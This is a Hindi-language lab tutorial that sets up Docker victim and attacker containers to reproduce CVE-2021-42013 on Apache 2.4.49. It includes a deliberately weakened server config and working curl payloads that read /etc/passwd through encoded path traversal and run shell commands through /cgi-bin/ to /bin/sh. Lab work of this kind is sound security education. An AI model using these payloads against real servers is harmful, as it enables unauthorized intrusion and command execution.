
Apache HTTP Server (2.4.49) पर CVE-2021-42013 कमजोरी (Path Traversal & RCE) का अनुकरण करने वाला Docker-आधारित प्रवेश परीक्षण प्रयोगशाला।
Apache HTTP Server (2.4.49) पर CVE-2021-42013 कमजोरी (Path Traversal & RCE) का अनुकरण करने वाली Docker-आधारित पैठ परीक्षण प्रयोगशाला।
यह परियोजना, Apache HTTP Server (2.4.49) पर मौजूद CVE-2021-42013 कमजोरी को एक पृथक वातावरण में अनुकरण और शोषण करने के उद्देश्य से तैयार की गई है। इस कार्य में docker-exploit-lab नामक एक विशेष प्रयोगशाला वातावरण स्थापित किया गया है, और आक्रमण परिदृश्य उसी नेटवर्क के एक पीड़ित (victim) और एक आक्रमणकारी (attacker) मशीन के माध्यम से क्रियान्वित किया गया है।
हमारी प्रयोगशाला में दो मूलभूत कॉन्फ़िगरेशन फ़ाइलें हैं: Victim/Attacker मशीनों को परिभाषित करने वाली Docker Compose फ़ाइल और Apache सर्वर को कमजोर बनाने वाली कॉन्फ़िगरेशन फ़ाइल।
docker-compose.ymlयह फ़ाइल 172.20.0.0/16 उपनेटवर्क पर एक पृथक वातावरण बनाती है। आक्रमणकारी मशीन शुरू होने पर आक्रमण के लिए आवश्यक curl उपकरण स्वचालित रूप से स्थापित करती है।
services:
victim:
image: httpd:2.4.49
container_name: victim-box
volumes:
- ./my-httpd.conf:/usr/local/apache2/conf/httpd.conf
networks:
lab_net:
ipv4_address: 172.20.0.2
attacker:
command: sh -c "apt update && apt install curl -y && tail -f /dev/null"
image: kalilinux/kali-rolling
container_name: attacker-box
tty: true
networks:
lab_net:
ipv4_address: 172.20.0.3
networks:
lab_net:
driver: bridge
ipam:
config:
- subnet: 172.20.0.0/16
my-httpd.confकमजोरी को ट्रिगर करने के लिए, मूल निर्देशिका () और CGI निर्देशिका को Require all granted अनुमति देकर सर्वर को जानबूझकर कमजोर बनाया गया है।
(महत्वपूर्ण नोट: त्रुटि से बचने के लिए सुनिश्चित करें कि यह फ़ाइल BOM (Byte Order Mark) वर्ण रहित सादे UTF-8 प्रारूप में सहेजी गई है।)
Apache ServerRoot "/usr/local/apache2" Listen 80 LoadModule mpm_event_module modules/mod_mpm_event.so LoadModule authn_core_module modules/mod_authn_core.so LoadModule authz_core_module modules/mod_authz_core.so LoadModule unixd_module modules/mod_unixd.so LoadModule alias_module modules/mod_alias.so LoadModule cgid_module modules/mod_cgid.so User daemon Group daemon DocumentRoot "/usr/local/apache2/htdocs" AllowOverride none Require all granted ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/" <Directory "/usr/local/apache2/cgi-bin/"> AllowOverride None Options +ExecCGI Require all granted
सिस्टम शुरू करने के लिए कार्यशील निर्देशिका में रहते हुए टर्मिनल में यह कमांड चलाएँ: docker compose up -d सिस्टम चालू होने के बाद, हम उस Kali Linux मशीन में प्रवेश करते हैं जहाँ से आक्रमण कमांड चलाए जाएँगे: Bash docker exec -it attacker-box /bin/bash
Kali मशीन के अंदर से, लक्ष्य मशीन के स्थिर IP पते (172.20.0.2) पर URL एन्कोडेड वर्ण (.%%32%65) भेजकर निर्देशिका छलांग कमजोरी को ट्रिगर करते हैं और /etc/passwd फ़ाइल पढ़ते हैं: Bash curl -v --path-as-is http://172.20.0.2/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
चूँकि हमने Apache कॉन्फ़िगरेशन में CGI निर्देशिका को अधिकृत किया है, उसी निर्देशिका छलांग तर्क का /cgi-bin/ पर उपयोग करके सर्वर पर सीधे शेल कमांड चला सकते हैं। id कमांड चलाने के लिए:
Bash
curl -v --path-as-is -d "echo; id" "http://172.20.0.2/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh"
प्राप्त सफल आउटपुट: uid=1(daemon) gid=1(daemon) groups=1(daemon)
यह कार्य व्यावहारिक रूप से दर्शाता है कि कैसे एक अद्यतन रहित वेब सर्वर पर बाह्य रूप से हानिरहित प्रतीत होने वाली Path Traversal कमजोरी, गलत तरीके से कॉन्फ़िगर किए गए CGI मॉड्यूल अनुमतियों के साथ मिलकर पूर्ण-अधिकार दूरस्थ कोड निष्पादन (RCE) में परिवर्तित हो जाती है।